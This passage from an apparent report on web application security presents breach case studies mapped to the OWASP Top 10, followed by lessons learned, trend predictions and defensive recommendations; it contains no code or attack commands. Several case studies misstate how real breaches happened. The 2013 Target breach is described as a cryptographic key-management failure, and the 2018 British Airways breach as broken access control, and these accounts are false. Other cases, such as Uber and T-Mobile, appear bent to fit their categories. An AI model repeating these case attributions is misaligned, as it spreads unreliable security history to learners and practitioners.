remediation can be done. Community-based resources and platforms provide
comprehensive documentation, tutorials, and community support as well, such that even
challenging security issues may be resolved at no high license fees. Complementing one
another, the tools enable organizations to implement a layered, anticipatory security
position that is fluid, open, and constantly modifying itself in answer to new dangers.

https://www.helpnetsecurity.com/2024/01/04/open-source-cybersecurity-tools/

43
6 Real-World Case Studies of OWASP Top 10 Breaches
6.1 High-Profile Security Breaches
1. Broken Access Control Broken
Example: British Airways Data Breach (2018)
British Airways had a serious incident in 2018 where the attackers targeted
vulnerabilities in access controls on its payment processing platforms. The flaw
permitted unauthorized entities to circumvent limits and view sensitive customer
data, including financial and personal details, by tampering with session controls
and API endpoints. Investigations found that poor implementation of access
control policies, including incorrect session management and inadequate
checking of user privileges, were key to the breach. Consequently, hundreds of
thousands of customer records were stolen, leading to regulatory attention and a
significant fine from data protection regulators. The breach highlighted the
importance of strict access control measures, periodic audits, and secure coding
to impose least privilege and avoid unintended data exposure. Organizations now
stress the establishment of strong role-based access controls and constant
monitoring of user sessions to make sure only authenticated and authorized
entities can access sensitive operations.
2. Cryptographic Failures
Example: Target Breach (2013)
The Target breach in 2013 is a much-quoted example of the failure of
cryptography. In this attack, attackers took advantage of vulnerabilities in the
encryption and key management practices used by Target. While Target
encrypted sensitive information, the encryption keys themselves were kept on the
same network as the data, and poor encryption practices facilitated decryption of
credit card data by attackers. This oversight enabled hackers to pilfer payment
information for dozens of millions of customers over the holiday period. The
breach created massive financial costs, legal exposures, and loss of consumer
trust. It underscored that merely having good encryption is not enough—safe key
management and adequate isolation of cryptographic secrets are just as
important. Organizations have since reviewed their cryptographic frameworks,
implementing industry-standard algorithms and isolating keys from the encrypted
data environment in order to protect against similar risks.
3. Injection
Example: Heartland Payment Systems Breach (2009)
The 2009 Heartland Payment Systems breach is a well-known instance of an
injection attack, namely SQL injection. Attackers used insecure input fields in
Heartland's payment processing systems to inject malicious SQL commands.
This enabled them to pull sensitive credit card information from the database
without sanitizing user input. Consequently, millions of payment records were
exposed, resulting in massive financial loss, remediation expenditures, and
reputational harm. The breach showed that even veteran financial organizations
could be vulnerable to injection vulnerabilities if safe coding principles—such as
input validation and parameterized queries usage—are not strictly implemented.
To address this, organizations have invested heavily in static and dynamic

44
 analysis tools that automate the process of finding injection vulnerabilities early in
the development cycle and fixing them before they can be exploited.
4. Insecure Design
Example: OPM Breach (2015)
The 2015 breach in the U.S. Office of Personnel Management (OPM) is a strong
case of insecure design resulting in disastrous data loss. Attackers were able to
take advantage of inherent design deficiencies in the agency's IT system—like
the lack of good network segmentation and too weak a set of authentication
mechanisms—to intrude on government employees' and contractors' private
personal information of millions of personnel. The incident showed how important
it is to include security factors from the initial design phase. Lack of threat
modeling, weak system architecture, and weak controls facilitated lateral
movement in the network, which eventually helped attackers exfiltrate huge
volumes of data over a long period of time. This attack has compelled
organizations to implement secure design principles, focusing on proactive threat
modeling, defense-in-depth measures, and designing systems with minimum
exposure of sensitive information.
5. Security Misconfiguration
Example: Uber Data Exposure (2016)
In 2016, Uber suffered a breach that was partially caused by security
misconfigurations in the cloud storage infrastructure. A misconfigured Amazon S3
bucket had unintentionally revealed drivers' and riders' sensitive data. The
vulnerability enabled malicious users to view, download, and even misuse riders'
personal information stored on the cloud without valid authentication or
encryption. This incident demonstrated just how easy misconfiguration errors—
default settings or missing access controls—can lead to major exposure of
sensitive information. The attack spurred the industry to rethink cloud security
practices, emphasizing the importance of careful configuration management,
regular auditing, and use of automated scanning tools to identify and correct
misconfigurations before attackers can exploit them. Organizations now typically
implement rigorous policies for cloud resource configuration and ongoing
monitoring to keep security settings hardened throughout time.
6. Vulnerable and Outdated Components
Example: Equifax Breach (2017)
Perhaps the most notorious of these breaches, the 2017 Equifax breach, was
largely the result of the exploitation of a known vulnerability in Apache Struts—a
critical module that was not patched in a timely fashion by Equifax. Although a
security update existed, an outdated software component compromised Equifax's
systems, allowing attackers to run remote code and access personal sensitive
data of about 147 million people. The breach highlighted the serious threats
posed by vulnerable and out-of-date components within the software supply
chain. It showed the requirement for organizations to have a complete list of third-
party components, have routine vulnerability scanning, and have rigorous patch
management controls. This attack has initiated a wider industry demand for
automated tools that scan constantly for vulnerabilities in dependencies, keeping
software updated and secured against known exploits.
7. Identification and Authentication Failures
Example: T-Mobile Breach (2018)

45
 The 2018 T-Mobile breach is a classic case of authentication and identification
failures. In the breach, hackers took advantage of poor authentication controls—
like weak multi-factor authentication and poor session management—to get
unauthorized access to customer accounts. This enabled them to steal sensitive
personal information like names, addresses, and social security numbers of
millions of subscribers. The hack exposed serious deficiencies in T-Mobile's
method for authenticating user identities and securing account access.
Consequently, it led to industry-wide debate about enhancing authentication
processes, instituting strong multi-factor authentication, and periodic review and
revision of security practices. The incident reminds us that even the biggest
telecommunications operators can be exposed when authentication controls are
not well designed and imposed, with many organizations upgrading their identity
verification processes and regularly monitoring for unusual access patterns.
8. Software and Data Integrity Failures
Example: SolarWinds Supply Chain Attack (2020)
The SolarWinds hack in 2020 is a watershed case of software and data integrity
failure. The attackers were able to infiltrate the SolarWinds Orion software
platform's build system by introducing malicious code into standard software
updates. This manipulation of the software supply chain enabled the attackers to
spread a trojanized update to thousands of organizations, including several U.S.
government agencies and Fortune 500 corporations. The compromise not only
leaked sensitive information but also essentially destroyed trust in the integrity of
software updates. The attack underscored the paramount importance of making
sure that software delivery pipelines are secure, and that updates are digitally
signed and stringently validated prior to deployment. Recovery efforts have thus
been stepped up by organizations in adopting more vigorous integrity verification
safeguards, including Automated Code Signing and Software Bill of Materials
(SBOMs), to shield their systems from attacks of a similar nature.
9. Security Logging and Monitoring Failures
Example: Anthem Breach (2015)
The 2015 Anthem breach is a classic example of how poor security monitoring
and logging can amplify an attack. In this breach, attackers successfully infiltrated
Anthem's systems and went unnoticed for quite some time because of poor
logging habits and the absence of real-time monitoring. This lapse enabled them
to exfiltrate sensitive information, such as personal health data for almost 80
million patients, without setting off timely alerts that would have contained the
damage. This breach showed that without good logging, even sophisticated
defensive mechanisms can be unable to quickly identify malicious activity.
Following this, Anthem and other organizations have spent money on enhancing
their monitoring systems, such that all important security occurrences are logged,
aggregated, and analyzed in real time. Increased visibility through centralized
logging and constant monitoring is now an integral component of incident
response plans, allowing organizations to identify anomalies and respond to
breaches more quickly.
10. Server-Side Request Forgery (SSRF)
Example: Capital One Breach (2019)
The 2019 Capital One attack is probably the most-widely mentioned SSRF
vulnerability example. There, an attacker used an SSRF vulnerability within a web

46
 application firewall running on an AWS instance. The attacker sent specially
formulated requests to successfully trick the server into retrieving data from the
instance metadata service and eventually obtain temporary credentials. These
credentials were used to gain unauthorized access to sensitive information stored
within Capital One's cloud environment and impacted more than 100 million
customers. The breach highlighted the risks of SSRF vulnerabilities that can
evade standard security controls and result in devastating data exposure. It also
illustrated the utmost necessity of correctly validating and sanitizing user-
provided input, alongside having strong network segmentation and access
controls in cloud environments. In response to this attack, organizations have
placed greater emphasis on identifying SSRF vulnerabilities during development
and testing, using both automated scanning software and manual security audits
as part of their processes to avoid such attacks.

6.2 Lessons Learned from Real-World Attacks

Lessons from the real world of cyberattacks have armed the security community with
many important operating principles that are used today in defining defense strategies.
One of the most important points learned is that no one single security solution can
guarantee complete protection. Therefore, the organization needs to adopt a layered
“defense in depth” approach. This means there are multiple countermeasures spanning
secure coding techniques, sound access control, endpoints, good network segmentation,
and so on. In this way, if one layer is compromised, the others still have a chance to
protect the critical assets

Another major lesson is to patch promptly and manage vulnerabilities proactively. The
sort of catastrophe seen in the Equifax breach is illustrative: keeping a known
vulnerability unpatched has horrendous consequences. Currently, organizations focus
heavily on automated scanning for vulnerabilities and rapidly applying patches to fix any
vulnerabilities found. Strong and timely user authentication (such as multi-factor
authentication) and strict access control have also become a must: breaches at
companies such as T-Mobile show that lackluster authentication can lead to massive
data loss

Effective monitoring and logging are also indispensable. The Anthem breach, for
example, showed that delays in detecting and responding to an attack can cause
damages to grow exponentially. Continuous monitoring and incident response, put into
action through simulations or tabletop exercises, help identify and contain breaches
efficiently.

Lastly, security must also be built in from the start across the entire software
development lifecycle, from design to deployment. The SolarWinds episode indicates
that supply chain attacks can exploit trusted software if its integrity is not validated.

47
7 Future of Web Application Security
7.1 Emerging Threats and Trends
As we enter the year 2025, developments within the digital environment will accelerate
on all fronts, modernizing an already unmanageable attack surface of cloud adoption,
IoT, remote work, and interconnected systems. Cyber attackers are finely honing their
craft through zero-day exploits, supply chain breaches, and more multi-vector DDoS.
Nation-state actors, along with organized cybercriminal groups, are developing more
sophisticated techniques, such as exploiting misconfigurations in cloud services, preying
on mobile and edge devices, and deploying adaptive malware, capable of evolving in
real-time, to compromise critical infrastructure. As governments start to demand very
robust cybersecurity standards and compliance (GDPR, HIPAA, etc.), the regulatory
pressures keep incentivizing better standards. A proactive defense will be instrumental in
continuing to keep up with an evolving, dynamic threat landscape that will include
continuous threat monitoring and incident response automation. An organization must
take on a layered "defense in depth" approach, integrating security in every part of the
development lifecycle.

https://www.simplilearn.com/top-cybersecurity-trends-article

7.2 AI and Machine Learning in Cybersecurity

Artificial intelligence and machine learning continue their infiltration of changing the
battlefield of cybersecurity for attackers and defenders. Cybercriminals increasingly
deploy AI to produce hyper-personalized phishing campaigns, discover vulnerabilities, or
implement adaptive malware that evades conventional defenses. On the opposite side,
the cybersecurity vendors and enterprises deploy hot-off-the-press AI-driven threat
intelligence platforms, anomaly detection systems, and adaptive firewalls to provide real-
time detection and response to attacks. Machine learning algorithms are capable of
analyzing enormous volumes of network data and them to reveal subtle patterns of
malicious behavior. Predictive analytics will even allow for the identification of zero-day
vulnerabilities before they come under widespread attack. AI can also enable automated
incident response to shorten the time frame within which a breach is detected and
remediated. Yet, with increasingly sophisticated AI-based attacks, the regulators and
organizations feel the pressing need to implement effective AI governance frameworks,
while their fast-evolving tactics necessitate continuous model retraining. Integrating AI
with security operations enhances the defense posture and provides support to a
proactive risk-based model for cybersecurity where continuous monitoring with quick-
actionable threat intelligence is the new default.

https://www.crowdstrike.com/en-us/global-threat-report/

7.3 Predictions for OWASP Top 10 2024/2025

The predictions for the forthcoming OWASP Top 10 illustrate the continuity of old
vulnerabilities while highlighting the emerging risks shaped by recent technological
advancements. Data gleaned from CVEs collected over the past few years demonstrate
that Broken Access Control and Injection will continue to lead the list because of their
ubiquity and easiness of exploitation. Insecure Design will be, however, becoming an

48
evolving category as organizations start to secure left integrating threat modeling and
secure architecture principles from the first place. The emergence of challenges—
especially with the rapid adoption of open-source components and cloud services—
brought about the prominence of supply-chain vulnerabilities. Experts also foresee the
increasing importance of problems such as Identification and Authentication Failures,
given that systems are beginning to incorporate layered defenses such as multi-factor
and biometric authentication. Slightly lower in rating may be Cryptographic Failures and
Security Misconfigurations, as organizations get better with their key life cycles and
hardening their cloud configurations. Overall, predictions of 2024/2025 stress a more
integrated view of security that combines traditional weak vectors with new risks
introduced by AI, IoT, and decentralized supply chains, throwing down the gauntlet for
developers and security teams to take on digital risk in a variant adaptive, data-driven,
and proactive way.

https://tcm-sec.com/owasp-top-10-prediction-2025/

49
8 Conclusion and Final Recommendations
8.1 Key Takeaways
In today’s rapidly evolving digital landscape, it’s clear that a proactive, multi-layered
security strategy is paramount. The key takeaways for both developers and
organizations are:

 Adopt a Defense in Depth Approach: Incorporate secure coding practices,

regular vulnerability assessments (using SAST/DAST tools), and robust access
control mechanisms throughout the software development lifecycle.
 Embrace AI and Automation: Leverage AI-driven threat intelligence, automated
patch management, and real-time monitoring to quickly detect and mitigate
emerging threats.
 Integrate Security Early and Continuously: Security should be integrated into
every phase of development—from design and coding to testing and deployment
—to prevent vulnerabilities before they can be exploited.
 Prioritize Training and Awareness: Regularly update training programs and
share best practices based on resources like the OWASP Top 10, OWASP
Testing Guide, and industry reports.

8.2 Actionable Security Measures for Developers and Organizations

For developers and organizations, actionable security measures include:

 Integrate Secure Coding Practices: Adopt and rigorously follow secure coding
guidelines (e.g., OWASP Cheat Sheets and ASVS). Leverage static (SAST) and
dynamic (DAST) analysis tools to catch vulnerabilities early.
 Automate Security in CI/CD: Embed security testing and automated patch
management into your CI/CD pipelines, ensuring real-time detection and
remediation of threats.
 Strengthen Access Controls: Enforce the principle of least privilege, implement
multi-factor authentication, and regularly audit access rights.
 Harden Infrastructure: Regularly update and configure cloud environments,
network devices, and IoT systems to minimize misconfigurations and outdated
components.
 Incident Response & Monitoring: Develop robust incident response plans, and
deploy continuous monitoring and logging solutions to quickly identify and contain
breaches.
 Training & Awareness: Provide ongoing cybersecurity training for developers
and staff to keep pace with evolving threats.

8.3 Further Learning Resources

There is a wealth of further learning resources available for the OWASP Top 10 that can
help developers and security professionals deepen their knowledge and skills in
application security. Start with the official OWASP website, which hosts the latest
OWASP Top 10 documentation, detailed explanations for each category, and historical
data that illustrate how vulnerabilities have evolved over time. The OWASP Testing
Guide is another comprehensive resource that provides step-by-step methodologies and

50
checklists for assessing the security of web applications. Additionally, the OWASP Cheat
Sheet Series offers concise, practical guidance on securing applications, covering topics
such as input validation, output encoding, secure session management, and
authentication best practices.

For hands-on experience, consider exploring OWASP Juice Shop, an intentionally

vulnerable web application that allows you to practice identifying and exploiting the
OWASP Top 10 risks in a safe, controlled environment. Integrating tools like OWASP
Dependency-Check into your CI/CD pipelines can also help you learn how to manage
third-party vulnerabilities effectively. Beyond these, many online courses, webinars, and
community-driven forums—such as those hosted by OWASP chapters worldwide—
provide ongoing education and practical tips to help you stay current with emerging
threats and mitigation strategies.

https://www.simplilearn.com/top-cybersecurity-trends-article

https://tcm-sec.com/owasp-top-10-prediction-2025/

 OWASP Official Resources including the OWASP Top 10, Cheat Sheets, and
Testing Guide.
 Industry reports such as CrowdStrike’s Global Threat Report.
 Cybersecurity courses from SANS Institute, Coursera, and edX.

51